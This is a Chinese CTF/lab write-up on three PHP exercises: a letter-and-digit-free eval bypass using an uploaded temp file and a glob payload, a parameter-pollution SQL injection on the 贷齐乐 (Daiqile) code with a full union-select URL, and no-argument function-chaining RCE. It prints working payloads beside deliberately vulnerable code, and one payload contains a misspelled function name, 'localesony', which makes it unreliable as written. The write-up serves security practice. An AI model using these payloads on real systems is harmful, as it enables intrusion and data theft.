RCE多种绕过技巧+贷齐乐漏洞复现

1、RCE绕过

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

主要就是绕过该代码
首先,我们来解析一下这个代码的重点:
1、首先是第一点

 if(strlen($code)>35

他限制了代码的长度,不能超过35个字节,但是这个无关紧要,下面这个才是最重要的
2、第二点

if(preg_match("/[A-Za-z0-9_$]+/",$code)){

他过滤了所有的字母和数字,也就是说,不能输入如何字母/数字——即只是输入字符,?????这限制的有些变态,不输入字母,数字我怎么查询

那么接下来就要说说我们的RCE绕过了

我们可以通过临时文件的方法去绕过该过滤
首先创建一个HTML文件,如下:
在这里插入图片描述
这里的index.php是上面代码的文件名,该HTML文件和index.php在同一目录下(该目录是nginx底下的html目录)

写好文件后,那么后面就简单了,我们在页面中打开这个HTML文件,传入一个自定义的txt文件内容是:

#! bin bash

id

然后抓包:
主要是两个包
这个是HTML传送时抓的包
在这里插入图片描述
这个是index.php代码页面的包,是GET的
在这里插入图片描述
抓到这两个包后都放入重放器
接下来就是个人操作时间了
将POST里面的内容该复制的复制,然后都贴贴到GET的包中,然后将GET改为POST,具体布局如下:
在这里插入图片描述
然后就是最重要的一点,就是看我最上面的红框,写入绕过代码:

?code=?><?=`.+/???/????????[@-[]`;?>#这个代码的主要意思就是匹配最后一个字母是大写的文件

这个代码在burp中可以这样写,但是在页面的搜索框中输入的话,要将其编码
转换成编码应该是这个:

3F%3E%3C%3F%3D%60%2E%2B%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E

然后发送运行就行,但是我这个不知道是什么问题,就是显示不出来看,研究了好久,按理来说会向下面一样跳出flag
在这里插入图片描述
经过排查,最终还是解决了这个问题:
在这里插入图片描述
我查看了/tmp文件

cd /tmp

原来是他自动匹配到了其他文件,我将其删除后,就成功了
在这里插入图片描述

2、贷齐乐的漏洞复现

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

主要是这个的过滤

preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);

他将“select”和“union”和“outfile”等,刚看的话有点束手无措的感觉(到底是谁把这个程序员入侵得都急眼了,直接把能想到的过滤都加上了)
但是细想的话,还是可以绕过的
可以使用全局污染:php默认先选择后面的参数,但是这也不够,因为我们是想要第一次选择后面的参数,绕过这个过滤进入内部,然后第二次选择第一个参数,覆盖第二个参数,让第一个参数携带查询代码,进行入侵
然后我想到,可以使用“.”,在request()会将 “.” 变为 “__” ,但是server()不会,所以可以进行前面说的绕过

“.” 在搜索框输入后,php的request()会将 “.” 变为 “__” :即 “i.d”——>“i_d”,php会选择将"i.d"的值输入,但是到第二次时,server()不会将".“变为 “_”,”." 就是 “.” ,下划线就是下划线,如果前面有"i_d",那么会选择前面"i_d"的值。

在这里插入图片描述
后续的绕过就比较简单了,空格用“/**/”来代替,“=”用“like”代替,还有单双引号的过滤,可以将内容进行16进制转换,然后一个一个查询就行了,查询出库名表名和列名,基本上就能把你想要的数据查询到了,上图就是一个普通绕过的展示。

http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1 

这个是查询数据库的代码,后续查找用户等都可以以这个为例
在这里插入图片描述

3、函数绕过

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
    eval($_GET['code']);
}
?>

可以利用函数套函数的方式查询到下面的数据

print_r(scandir(current(localesony());成功打印出当前目录下文件:

pos()和reset()都有相同的效果

利用抓包,然后添加如下代码:
在这里插入图片描述

成功找到了flag.txt文件
在这里插入图片描述
利用以下函数,随机选取,使文件都可以访问到,不用说在中间无法访问,但是需要多长刷,直到刷到flag.txt文件为止。

array_rand(array_flip())

具体查询代码

?code=show_source(array_rand(array_flip(scandir(getcwd()))));

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值